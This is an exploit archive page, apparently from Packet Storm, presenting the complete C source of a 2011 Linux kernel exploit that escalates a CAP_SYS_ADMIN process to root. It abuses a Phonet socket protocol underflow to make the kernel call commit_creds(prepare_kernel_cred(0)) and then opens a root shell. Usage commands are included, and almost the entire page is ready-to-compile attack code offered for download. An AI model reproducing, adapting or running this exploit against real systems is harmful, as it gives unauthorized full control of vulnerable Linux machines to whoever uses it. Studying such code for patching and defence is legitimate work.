what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Linux Kernel CAP_SYS_ADMIN To Root Exploit (32/64 bit)

Linux Kernel CAP_SYS_ADMIN To Root Exploit (32/64 bit)
Posted Jan 8, 2011
Authored by Joe Sylve

This exploit takes advantage of the same underflow as the original, but takes a different approach. Instead of underflowing into userspace (which doesn't work on 64-bit systems and is a lot of work), the author uses an underflow to some static values inside of the kernel which are referenced as pointers to userspace. This method is pretty simple and seems to be reliable.

tags | exploit, kernel
SHA-256 | a995031b16200885fe411f974f79c2dcc6dedf5c9fb51e3bf3e91e4c579e74bb

Linux Kernel CAP_SYS_ADMIN To Root Exploit (32/64 bit)

Change Mirror Download
/*
* Linux Kernel CAP_SYS_ADMIN to Root Exploit 2 (32 and 64-bit)
* by Joe Sylve
* @jtsylve on twitter
*
* Released: Jan 7, 2011
*
* Based on the bug found by Dan Rosenberg (@djrbliss)
* only loosly based on his exploit http://www.exploit-db.com/exploits/15916/
*
* Usage:
* gcc -w caps-to-root2.c -o caps-to-root2
* sudo setcap cap_sys_admin+ep caps-to-root2
* ./caps-to-root2
*
* Kernel Version >= 2.6.34 (untested on earlier versions)
*
* Tested on Ubuntu 10.10 64-bit and Ubuntu 10.10 32-bit
*
* This exploit takes advantage of the same underflow as the original,
* but takes a different approach. Instead of underflowing into userspace
* (which doesn't work on 64-bit systems and is a lot of work), I underflow
* to some static values inside of the kernel which are referenced as pointers
* to userspace. This method is pretty simple and seems to be reliable.
*/

#include <stdio.h>
#include <sys/socket.h>
#include <errno.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>

// Skeleton Structures of the Kernel Structures we're going to spoof
struct proto_ops_skel {
int family;
void *buffer1[8];
int (*ioctl)(void *, int, long);
void *buffer2[12];
};

struct phonet_protocol_skel {
void *ops;
void *prot;
int sock_type;
};


#ifdef __x86_64__

#define SYM_NAME "local_port_range"
#define SYM_ADDRESS 0x0000007f00000040
#define SYM_OFFSET 0x0

typedef int (* _commit_creds)(unsigned long cred);
typedef unsigned long (* _prepare_kernel_cred)(unsigned long cred);

#else //32-bit

#define SYM_NAME "pn_proto"
#define SYM_ADDRESS 0x4e4f4850
#define SYM_OFFSET 0x90

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

#endif


_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

int getroot(void * v, int i, long l)
{
commit_creds(prepare_kernel_cred(0));
return 0;
}

/* thanks spender... */
unsigned long get_kernel_sym(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[512];
int ret;

char command[512];

sprintf(command, "grep \"%s\" /proc/kallsyms", name);

f = popen(command, "r");

while(ret != EOF) {
ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname);

if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}

if (!strcmp(name, sname)) {

fprintf(stdout, " [+] Resolved %s to %p\n", name, (void *)addr);
pclose(f);
return addr;
}
}

pclose(f);
return 0;
}

int main(int argc, char * argv[])
{

int sock, proto;
unsigned long proto_tab, low_kern_sym, pn_proto;
void * map;

/* Create a socket to load the module for symbol support */
printf("[*] Testing Phonet support and CAP_SYS_ADMIN...\n");
sock = socket(PF_PHONET, SOCK_DGRAM, 0);

if(sock < 0) {
if(errno == EPERM)
printf("[*] You don't have CAP_SYS_ADMIN.\n");

else
printf("[*] Failed to open Phonet socket.\n");

return -1;
}

close(sock);

/* Resolve kernel symbols */
printf("[*] Resolving kernel symbols...\n");

proto_tab = get_kernel_sym("proto_tab");
low_kern_sym = get_kernel_sym(SYM_NAME) + SYM_OFFSET;
pn_proto = get_kernel_sym("pn_proto");
commit_creds = (void *) get_kernel_sym("commit_creds");
prepare_kernel_cred = (void *) get_kernel_sym("prepare_kernel_cred");

if(!proto_tab || !commit_creds || !prepare_kernel_cred) {
printf("[*] Failed to resolve kernel symbols.\n");
return -1;
}

if (low_kern_sym >= proto_tab) {
printf("[*] %s is mapped higher than prototab. Can not underflow :-(.\n", SYM_NAME);
return -1;
}


/* Map it */
printf("[*] Preparing fake structures...\n");

const struct proto_ops_skel fake_proto_ops2 = {
.family = AF_PHONET,
.ioctl = &getroot,
};

struct phonet_protocol_skel pps = {
.ops = (void *) &fake_proto_ops2,
.prot = (void *) pn_proto,
.sock_type = SOCK_DGRAM,
};

printf("[*] Copying Structures.\n");

map = mmap((void *) SYM_ADDRESS, 0x1000,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

if(map == MAP_FAILED) {
printf("[*] Failed to map landing area.\n");
perror("mmap");
return -1;
}


memcpy((void *) SYM_ADDRESS, &pps, sizeof(pps));

// Calculate Underflow
proto = -((proto_tab - low_kern_sym) / sizeof(void *));

printf("[*] Underflowing with offset %d\n", proto);

sock = socket(PF_PHONET, SOCK_DGRAM, proto);

if(sock < 0) {
printf("[*] Underflow failed :-(.\n");
return -1;
}

printf("[*] Elevating privlidges...\n");
ioctl(sock, 0, NULL);


if(getuid()) {
printf("[*] Exploit failed to get root.\n");
return -1;
}

printf("[*] This was a triumph... I'm making a note here, huge success.\n");
execl("/bin/sh", "/bin/sh", NULL);

close(sock);
munmap(map, 0x1000);

return 0;
}

Login or Register to add favorites

File Archive:

October 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    39 Files
  • 2
    Oct 2nd
    23 Files
  • 3
    Oct 3rd
    18 Files
  • 4
    Oct 4th
    20 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    17 Files
  • 8
    Oct 8th
    66 Files
  • 9
    Oct 9th
    0 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    0 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close